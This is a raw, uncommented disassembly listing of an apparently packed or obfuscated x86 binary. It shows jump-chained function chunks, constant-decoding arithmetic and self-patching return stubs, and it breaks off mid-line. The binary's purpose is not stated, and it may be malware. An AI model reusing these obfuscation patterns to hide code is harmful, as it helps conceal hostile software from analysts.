xor ebx, 0C6498653h jmp loc_44A4E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44C468: ; CODE XREF: sub_43B98D:loc_447BFBj mov eax, ebx xchg eax, [esp+0] push 0C6F8DCB3h call sub_4408CF loc_44C477: ; CODE XREF: sub_44AEDA+2EE4j jmp loc_444CB9 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4030E2 loc_44C47C: ; CODE XREF: sub_4030E2+420ADj jmp loc_43CA52 ; END OF FUNCTION CHUNK FOR sub_4030E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_44C481: ; CODE XREF: sub_440395+18j jmp loc_44AEC1 ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_44C486: ; CODE XREF: sub_4491D8-FDEAj jmp loc_445EE4 ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- loc_44C48B: ; CODE XREF: y22d6.y.:004418D6j pop eax ; =============== S U B R O U T I N E ======================================= sub_44C48C proc near ; CODE XREF: y22d6.y.:00441DF6p ; FUNCTION CHUNK AT 0044082C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044B262 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx push 61254275h pop edx or edx, 5536C505h sub edx, 0D8631DFBh jmp loc_44082C sub_44C48C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_44C4A8: ; CODE XREF: sub_444581:loc_441BE9j xor esi, ds:4000E6h push offset loc_43F64C jmp loc_44A2B2 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- jmp ds:off_41E158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CBBE loc_44C4BE: ; CODE XREF: sub_44CBBE+Dj jmp loc_44CEC8 ; END OF FUNCTION CHUNK FOR sub_44CBBE ; --------------------------------------------------------------------------- loc_44C4C3: ; CODE XREF: y22d6.y.:00448792j jmp locret_43E101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_44C4C8: ; CODE XREF: sub_441191+13j jmp loc_4461AB ; END OF FUNCTION CHUNK FOR sub_441191 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44C4CD: ; CODE XREF: y22d6.y.:loc_43F980j ; sub_43B98D+4353j jmp loc_43998D ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_44C4D2: ; CODE XREF: sub_43CBF3:loc_43AE86j ; sub_440943-29A5j ... jo loc_43E5A0 pop edx mov eax, [esp+0] push edx push ecx push offset loc_43E01A jmp nullsub_298 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; =============== S U B R O U T I N E ======================================= sub_44C4E8 proc near ; CODE XREF: y22d6.y.:0043FB4Fj ; sub_449CFC-236p arg_4 = dword ptr 8 xchg edx, [esp+0] pop edx xor eax, ebx pop ebx mov edx, [esp-8+arg_4] push eax mov eax, edx push offset loc_437559 jmp nullsub_209 sub_44C4E8 endp ; =============== S U B R O U T I N E ======================================= sub_44C4FF proc near ; DATA XREF: y22d6.y.:loc_43C48Do ; FUNCTION CHUNK AT 0044505D SIZE 00000005 BYTES push 0FE42227Fh pop ecx rol ecx, 9 add ecx, 0ADFD6C18h xor eax, ecx pop ecx mov ds:dword_43A6D8, eax jmp loc_44505D sub_44C4FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41E078 ; --------------------------------------------------------------------------- loc_44C522: ; CODE XREF: y22d6.y.:00445B5Bj jmp loc_446166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_44C527: ; CODE XREF: sub_439765:loc_43977Aj ; y22d6.y.:0044754Aj ... jo loc_44754F pop edx call sub_447E7D loc_44C533: ; CODE XREF: sub_44E52B-5778j jmp loc_438E66 ; END OF FUNCTION CHUNK FOR sub_444871 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_44C538: ; CODE XREF: sub_439A90+C9BEj jmp loc_442B3B ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440CE6 loc_44C53D: ; CODE XREF: sub_440CE6+6j jmp loc_447EC6 ; END OF FUNCTION CHUNK FOR sub_440CE6 ; --------------------------------------------------------------------------- loc_44C542: ; CODE XREF: y22d6.y.:00443B81j xor eax, 2C521C32h loc_44C548: ; CODE XREF: y22d6.y.:loc_44B45Ej mov eax, [esp] call sub_43B201 ; START OF FUNCTION CHUNK FOR sub_43DD42 loc_44C550: ; CODE XREF: sub_43DD42+19j jmp loc_439886 ; END OF FUNCTION CHUNK FOR sub_43DD42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_44C555: ; CODE XREF: sub_44193A:loc_44BCB8j xor edx, 23134940h call sub_44D293 push edi mov edi, eax jmp loc_43F11D ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44C568: ; CODE XREF: sub_448EB6+267j ror esi, 1Eh jmp loc_43E2F2 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44C570: ; CODE XREF: y22d6.y.:0043E880j sub al, 99h push offset loc_4460D7 jmp locret_4489CF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_44C57D: ; CODE XREF: sub_44066C+6A80j jmp loc_4412D2 ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_44C582: ; CODE XREF: sub_43ED4E+7111j pop edi lea eax, nullsub_18 mov byte ptr [eax], 0C3h jmp loc_43B857 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; =============== S U B R O U T I N E ======================================= sub_44C591 proc near ; CODE XREF: sub_41D486j sub_44C591+5j ; DATA XREF: ... call sub_44C59C jmp ds:off_41E184 sub_44C591 endp ; =============== S U B R O U T I N E ======================================= sub_44C59C proc near ; CODE XREF: sub_44A5E5:loc_4396F1j ; sub_43CCB6:loc_44C1DDj ... var_C = dword ptr -0Ch arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00438968 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00439CF5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043CCCA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043E32E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E804 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F957 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004409C3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004450AD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044732D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004473F4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00449ACB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D140 SIZE 00000015 BYTES xchg eax, [esp+0Ch+var_C] mov edx, eax pop eax jmp loc_4473F4 sub_44C59C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44485F loc_44C5A7: ; CODE XREF: sub_44485F+8CB4j jns loc_442321 cmp esi, ecx jmp loc_443515 ; END OF FUNCTION CHUNK FOR sub_44485F ; --------------------------------------------------------------------------- loc_44C5B4: ; CODE XREF: y22d6.y.:loc_444800j jz loc_44125C jmp loc_44A009 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44C5BF: ; CODE XREF: sub_44057E:loc_43F3D3j or ebx, eax rol ebp, 12h cmp eax, esi jmp loc_443100 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- pop edx jmp sub_449307 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442DB9 loc_44C5D1: ; CODE XREF: sub_442DB9+9j push offset sub_44C02C jmp nullsub_375 ; END OF FUNCTION CHUNK FOR sub_442DB9 ; --------------------------------------------------------------------------- loc_44C5DB: ; DATA XREF: sub_448EB6+1FDo mov ds:dword_41E124, eax lea eax, nullsub_343 call sub_4411EF ; START OF FUNCTION CHUNK FOR sub_447663 loc_44C5EC: ; CODE XREF: sub_447663+16j jmp loc_437A77 ; END OF FUNCTION CHUNK FOR sub_447663 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_349. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44C5F2: ; CODE XREF: sub_43B7D4+7j jmp loc_44779F ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_44C5F7: ; CODE XREF: sub_43F422:loc_44E32Fj mov eax, [ebp-8] jmp loc_442E70 ; --------------------------------------------------------------------------- loc_44C5FF: ; CODE XREF: sub_43F422:loc_444FADj mov eax, [ebp-0Ch] loc_44C602: ; CODE XREF: y22d6.y.:loc_44405Bj cmp byte ptr [eax], 0 jnz loc_4472C3 mov eax, [ebp-8] shl eax, 3 jmp loc_443989 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44C616: ; CODE XREF: sub_44DB81-852Fj pop esi or ebx, 1BAAE4CAh jmp sub_43B9F3 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; =============== S U B R O U T I N E ======================================= sub_44C622 proc near ; CODE XREF: y22d6.y.:0043854Cj ; sub_4432B8:loc_4447AFp xchg eax, [esp+0] pop eax mov ds:dword_41E168, eax lea eax, nullsub_14 mov byte ptr [eax], 0C3h jmp loc_44DB7A sub_44C622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44C63A: ; CODE XREF: y22d6.y.:loc_438551j mov eax, [esp] push ebx jmp loc_437C11 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_334. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CFC loc_44C644: ; CODE XREF: sub_449CFC+10j jmp loc_449ABC ; END OF FUNCTION CHUNK FOR sub_449CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_44C649: ; CODE XREF: sub_439F2D+52E3j jmp loc_446353 ; END OF FUNCTION CHUNK FOR sub_439F2D ; --------------------------------------------------------------------------- jmp loc_44252A ; --------------------------------------------------------------------------- loc_44C653: ; CODE XREF: y22d6.y.:loc_43B85Cj cmp ebp, eax jmp loc_43D15A ; --------------------------------------------------------------------------- loc_44C65A: ; CODE XREF: y22d6.y.:loc_43FFB1j jz near ptr dword_437434+32h ; START OF FUNCTION CHUNK FOR sub_437901 loc_44C660: ; CODE XREF: sub_437901+56j jmp loc_43CCA7 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- db 99h, 58h, 0E9h dd 0FFFFF043h, 0FD81D303h, 0F190C746h, 0FFDEBBE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44C679: ; CODE XREF: sub_4450FD+8A1Aj cmp ecx, 1FF28F23h jmp loc_43E23C ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_44C684: ; CODE XREF: sub_44439D:loc_446170j mov [edx], edi jg loc_445281 xchg edx, ebx or ebx, ebp jmp loc_44583E ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- loc_44C695: ; CODE XREF: y22d6.y.:00443B78j push offset sub_44DCA4 jmp loc_43A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_44C69F: ; CODE XREF: sub_440494+D7F1j xchg eax, [esp+4+var_4] mov edi, eax pop eax lea eax, nullsub_13 mov byte ptr [eax], 0C3h jmp loc_448F25 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444183 loc_44C6B3: ; CODE XREF: sub_444183:loc_4430D9j jz loc_44528B mov eax, ds:dword_441950 mov eax, [eax] mov ds:dword_441954, eax jmp loc_443500 ; END OF FUNCTION CHUNK FOR sub_444183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_44C6CA: ; CODE XREF: sub_44156E+6j jnz loc_438BFF jmp loc_4408B2 ; END OF FUNCTION CHUNK FOR sub_44156E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44C6D6: ; CODE XREF: y22d6.y.:00439AFDj ; y22d6.y.:loc_449755j jmp loc_44ABDA ; --------------------------------------------------------------------------- loc_44C6DB: ; CODE XREF: y22d6.y.:004382E3j jmp loc_448E54 ; --------------------------------------------------------------------------- loc_44C6E0: ; DATA XREF: y22d6.y.:00441AD7o ror eax, 12h mov edx, [esp] push eax mov eax, edx push ebx push 54CC3CC9h jmp loc_437F5C ; --------------------------------------------------------------------------- loc_44C6F4: ; CODE XREF: y22d6.y.:loc_43EB8Bj sub ecx, eax sbb edi, ebx jmp loc_44C3C1 ; --------------------------------------------------------------------------- locret_44C6FD: ; CODE XREF: y22d6.y.:00438615j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_44C6FE: ; CODE XREF: sub_43A6E1+ED84j jmp nullsub_254 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; =============== S U B R O U T I N E ======================================= sub_44C703 proc near ; DATA XREF: sub_43F4BB+4F96o mov [ebx], edx pop ebx loc_44C706: ; CODE XREF: sub_4499F4-574Bj ; sub_4482CF+6j xchg eax, edx call sub_44D293 retn sub_44C703 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A413 loc_44C70D: ; CODE XREF: sub_44A413:loc_4413CFj sub edx, 0F705C23Ch xor edx, 44C907F4h add edx, ebp add edx, 5D9CCADh mov [edx], eax pop edx jmp loc_44CDC8 ; END OF FUNCTION CHUNK FOR sub_44A413 ; --------------------------------------------------------------------------- loc_44C729: ; CODE XREF: y22d6.y.:loc_4439F6j sbb ecx, 8EDD5710h ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44C72F: ; CODE XREF: sub_43C55B:loc_445781j mov edx, eax jmp loc_448528 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_44C736: ; CODE XREF: sub_43BEF7-2CAAj mov ebp, 47FB98D8h jmp loc_44ACFF ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- locret_44C740: ; CODE XREF: y22d6.y.:0043F9C7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B566 loc_44C741: ; CODE XREF: sub_43B566+1187Fj jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_43B566 ; --------------------------------------------------------------------------- jz loc_445185 jmp sub_44D64C ; --------------------------------------------------------------------------- loc_44C751: ; CODE XREF: y22d6.y.:loc_43D08Cj pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442E1F loc_44C753: ; CODE XREF: sub_442E1F-5FD3j jmp loc_440E64 ; END OF FUNCTION CHUNK FOR sub_442E1F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C758 proc near ; CODE XREF: sub_44825F:loc_43D421p ; sub_449641-B9CCj ... var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043D608 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004426FD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00444F6F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445877 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00445BDB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00446124 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A1CE SIZE 0000001B BYTES push ebp mov ebp, esp push eax jmp loc_43D608 sub_44C758 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44C761: ; CODE XREF: sub_44E5C7-16D5Dj ; sub_44E5C7:loc_43DB66j ... push offset sub_43C52A jmp nullsub_213 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_44C76B proc near ; DATA XREF: y22d6.y.:0043C00Bo xchg ebx, [esp+0] jmp nullsub_3 sub_44C76B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_44C773: ; CODE XREF: sub_4477E6+19j jge loc_439E96 loc_44C779: ; CODE XREF: sub_4432B8+8681j jmp loc_442476 ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44C77E: ; CODE XREF: sub_4432B8-6B25j jmp loc_43B392 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44C783: ; CODE XREF: y22d6.y.:00439EB9j jmp nullsub_118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44C788: ; CODE XREF: sub_4432B8-AC77j jmp nullsub_214 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- test ebp, edx jmp loc_44BE48 ; --------------------------------------------------------------------------- loc_44C794: ; DATA XREF: sub_437FD8:loc_43C2EAo sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_447EBA jmp loc_43D5DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_44C7A8: ; CODE XREF: sub_4392B0+686Cj push offset loc_44AFE7 jmp loc_43BB0F ; END OF FUNCTION CHUNK FOR sub_4392B0 ; =============== S U B R O U T I N E ======================================= sub_44C7B2 proc near ; CODE XREF: y22d6.y.:0044A6E0j ; sub_43B09B+F993p xchg eax, [esp+0] pop eax lea eax, nullsub_10 mov byte ptr [eax], 0C3h jmp nullsub_10 sub_44C7B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call nullsub_354 jmp ds:dword_41E050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A46F loc_44C7CF: ; CODE XREF: sub_44A46F+1j jmp loc_43D303 ; END OF FUNCTION CHUNK FOR sub_44A46F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_354. PRESS KEYPAD "+" TO EXPAND] db 84h, 0DAh, 93h dd 79E9FFFFh db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_44C7DF: ; CODE XREF: y22d6.y.:0044C0EDj ror edi, 12h mov edx, [ecx] loc_44C7E4: ; CODE XREF: y22d6.y.:loc_439F3Cj push eax lea eax, loc_44DD70 push esi jmp loc_4405C5 ; =============== S U B R O U T I N E ======================================= sub_44C7F1 proc near ; CODE XREF: y22d6.y.:0043F933j ; y22d6.y.:004430D4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004483C8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044B83B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044E590 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] nop loc_44C7F9: ; CODE XREF: y22d6.y.:0044D1A8j mov eax, 2867838Ah call sub_43CA1A call sub_442DFF loc_44C808: ; CODE XREF: y22d6.y.:0043A6D1j jmp loc_44B83B sub_44C7F1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44C80D: ; CODE XREF: y22d6.y.:00438568j rol esi, 7 sub esi, 0A1BC1861h rol esi, 7 add esi, 34DA28D6h xchg esi, [esp] jmp sub_44ABC9 ; --------------------------------------------------------------------------- push 870BBD7Ah jmp loc_43FBEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_44C831: ; CODE XREF: sub_439A90:loc_44CFCFj shl edx, 1Bh sub ebp, edx xor edx, 0CCFE7EC2h jmp loc_4474BD ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- not ebp ja loc_444AAF jmp sub_43C74D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_44C84E: ; CODE XREF: sub_441F08:loc_444F65j or eax, 0E5DE0AA8h add eax, 81A222A9h add eax, ebp add eax, 985EB254h jmp loc_43F68D ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44C867: ; CODE XREF: sub_44B1D2-4266j test esi, ebp jmp loc_437580 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438F42 loc_44C86E: ; CODE XREF: sub_438F42:loc_4464ADj xor ebx, 96DD2181h add ebx, 0ED9EEF12h call sub_437F1F ; END OF FUNCTION CHUNK FOR sub_438F42 ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_44C87F: ; CODE XREF: sub_44A5E5-BD16j jmp loc_44DF92 ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_44C884: ; CODE XREF: sub_4449FA+Dj pop eax mov eax, [esp-4+arg_0] push edx push eax jmp loc_447423 ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440F6A loc_44C88F: ; CODE XREF: sub_440F6A:loc_440F6Fj pop ebx sub ebx, 934BFC05h add ebx, 669A0D34h popf call sub_43FC02 locret_44C8A2: ; CODE XREF: y22d6.y.:004440C3j retn ; END OF FUNCTION CHUNK FOR sub_440F6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4419CC loc_44C8A3: ; CODE XREF: sub_4419CC-1C8Aj jmp loc_444F7D ; END OF FUNCTION CHUNK FOR sub_4419CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44C8A8: ; CODE XREF: sub_44AEDA-EE33j jmp loc_4475CC ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_44C8AD: ; CODE XREF: y22d6.y.:004412E9j push edi push 0E328B977h pop edi or edi, 0A7F81B75h jmp loc_43D90B ; =============== S U B R O U T I N E ======================================= sub_44C8BF proc near ; CODE XREF: sub_449739:loc_4429DCj ; FUNCTION CHUNK AT 00437AF7 SIZE 00000005 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax push offset loc_4437DA jmp loc_437AF7 sub_44C8BF endp ; --------------------------------------------------------------------------- loc_44C8D2: ; CODE XREF: y22d6.y.:loc_43D0E9j xchg ebx, [esp] mov edi, ebx pop ebx add edi, 350FE2A8h test edi, 2000h jmp loc_44BB50 ; =============== S U B R O U T I N E ======================================= sub_44C8E9 proc near ; CODE XREF: y22d6.y.:004418DDj ; sub_4432B8+6CFAp ; FUNCTION CHUNK AT 0043A3D5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00445A2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B9DE SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push edx push 0BE8F4FA9h jmp loc_44B9DE sub_44C8E9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_44C8F8: ; CODE XREF: sub_44193A-60Fj xchg eax, esi or edx, ecx jmp loc_44A8DB ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- jnz loc_44DDFC jmp sub_443C95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44C90C: ; CODE XREF: sub_437B43-417j add ecx, esi jmp loc_439AF8 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_44C913: ; CODE XREF: sub_4477E6-5362j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] ; END OF FUNCTION CHUNK FOR sub_4477E6 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44C91A: ; CODE XREF: sub_448EB6:loc_449189j cmp al, 0A4h jmp loc_4445B8 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_44C921 proc near ; DATA XREF: y22d6.y.:0043F9C2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00440086 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044056E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004488E6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044A1E9 SIZE 0000001A BYTES push 68E69ECDh xchg edi, [esp+0] mov esi, edi pop edi add esi, ds:4000EAh jmp loc_4488E6 sub_44C921 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44C937: ; DATA XREF: y22d6.y.:0044831Eo js loc_4479C4 ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44C93D: ; CODE XREF: sub_43B7B5:loc_445335j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] loc_44C944: ; CODE XREF: sub_44B17B-C262j cmp al, 0A4h jz loc_43B749 jmp loc_44CEA2 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_44C951 proc near ; DATA XREF: sub_44B3C9-B545o xor eax, 161199Fh call sub_43CA1A mov ds:off_41E13C, eax lea eax, sub_44B3C9 mov byte ptr [eax], 0C3h jmp sub_44B3C9 sub_44C951 endp ; =============== S U B R O U T I N E ======================================= sub_44C970 proc near ; CODE XREF: sub_40FE64+77p ; sub_40FF14+52p ... call sub_44C980 jmp ds:off_41E140 sub_44C970 endp ; --------------------------------------------------------------------------- loc_44C97B: ; CODE XREF: y22d6.y.:00444076j jmp loc_440013 ; =============== S U B R O U T I N E ======================================= sub_44C980 proc near ; CODE XREF: sub_43BA24+9j ; sub_44E38B:loc_43D48Bj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437DB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438B4D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00441518 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00442FE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447D45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AC51 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044CA07 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044D7FF SIZE 00000011 BYTES xchg edi, [esp+0] jmp loc_442FE8 sub_44C980 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_371. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44C989: ; CODE XREF: y22d6.y.:0044014Aj jmp nullsub_351 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44C98E: ; CODE XREF: sub_448EB6:loc_43BC0Cj test edx, 40000h jmp loc_442D55 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- cmp byte ptr [eax], 2Eh jnz loc_43A34C mov eax, [ebp-20h] mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] jmp loc_44C06F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_44C9B3: ; CODE XREF: sub_4480DE:loc_44315Ej mov eax, [ebp+var_4] inc eax push offset loc_44C42F jmp nullsub_243 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44C9C1: ; CODE XREF: sub_44AA69-193j cmp ebx, edi jmp loc_439EE2 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44C9C8: ; CODE XREF: sub_43C6D7:loc_44E258j mov edi, eax xchg edi, [esp+4+var_4] lea eax, sub_43E86C push eax push 0 push offset loc_439479 jmp nullsub_273 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- loc_44C9E0: ; CODE XREF: y22d6.y.:loc_44A78Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_44C9E1: ; CODE XREF: sub_43E7BF+96A2j jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448E18 loc_44C9E6: ; CODE XREF: sub_448E18:loc_4399EFj ; sub_448EB6:loc_44534Cj jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_448E18 ; --------------------------------------------------------------------------- push 0E5523930h pop eax add eax, 9FC8E9BCh xor eax, 0A5418AF1h call sub_43CA1A jmp loc_43A9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 